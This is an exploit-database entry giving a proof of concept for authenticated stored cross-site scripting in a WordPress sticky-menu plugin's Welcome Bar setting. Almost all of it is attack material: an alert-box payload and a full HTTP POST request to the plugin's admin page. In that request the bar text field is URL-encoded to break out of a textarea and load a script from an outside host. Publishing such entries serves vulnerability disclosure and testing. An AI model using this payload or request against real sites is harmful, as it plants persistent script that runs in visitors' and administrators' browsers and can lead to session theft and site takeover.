## https://sploitus.com/exploit?id=WPEX-ID:14632FA8-597E-49FF-8583-9797208A3583
Put the following payload in the Bar Text settings of the plugin and save them: </textarea><script>alert(/XSS/)</script>
PoC | Authenticated Persistent XSS | Welcome Bar > Bar Text:
POST /wp-admin/admin.php?page=my-stickymenu-welcomebar HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1634
mysticky_option_welcomebar%5Bmysticky_welcomebar_enable%5D=1&mysticky_option_welcomebar%5Bmysticky_welcomebar_position%5D=top&mysticky_option_welcomebar%5Bmysticky_welcomebar_bgcolor%5D=%2303ed96&mysticky_option_welcomebar%5Bmysticky_welcomebar_bgtxtcolor%5D=%23000000&mysticky_option_welcomebar%5Bmysticky_welcomebar_font%5D=Poppins&mysticky_option_welcomebar%5Bmysticky_welcomebar_fontsize%5D=14&mysticky_option_welcomebar%5Bmysticky_welcomebar_bar_text%5D=PoC%3C%2Ftextarea%3E--%3E%3Cscript+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E&mysticky_option_welcomebar%5Bmysticky_welcomebar_x_desktop%5D=desktop&mysticky_option_welcomebar%5Bmysticky_welcomebar_x_mobile%5D=mobile&mysticky_option_welcomebar%5Bmysticky_welcomebar_btn_desktop%5D=desktop&mysticky_option_welcomebar%5Bmysticky_welcomebar_btn_mobile%5D=mobile&mysticky_option_welcomebar%5Bmysticky_welcomebar_btncolor%5D=%23000000&mysticky_option_welcomebar%5Bmysticky_welcomebar_btntxtcolor%5D=%23ffffff&mysticky_option_welcomebar%5Bmysticky_welcomebar_btn_text%5D=Got+it%21&mysticky_option_welcomebar%5Bmysticky_welcomebar_attentionselect%5D=flash&mysticky_option_welcomebar%5Bmysticky_welcomebar_actionselect%5D=redirect_to_url&mysticky_option_welcomebar%5Bmysticky_welcomebar_redirect%5D=https%3A%2F%2Fwww.yourdomain.com&mysticky_option_welcomebar%5Bmysticky_welcomebar_aftersubmission%5D=dont_show_welcomebar&mysticky_option_welcomebar%5Bmysticky_welcomebar_triggersec_automatically%5D=0&mysticky_option_welcomebar%5Bmysticky_welcomebar_entry_effect%5D=slide-in&submit=Save&nonce=d70ad0b6ae&active_tab_element=1&save_welcome_bar=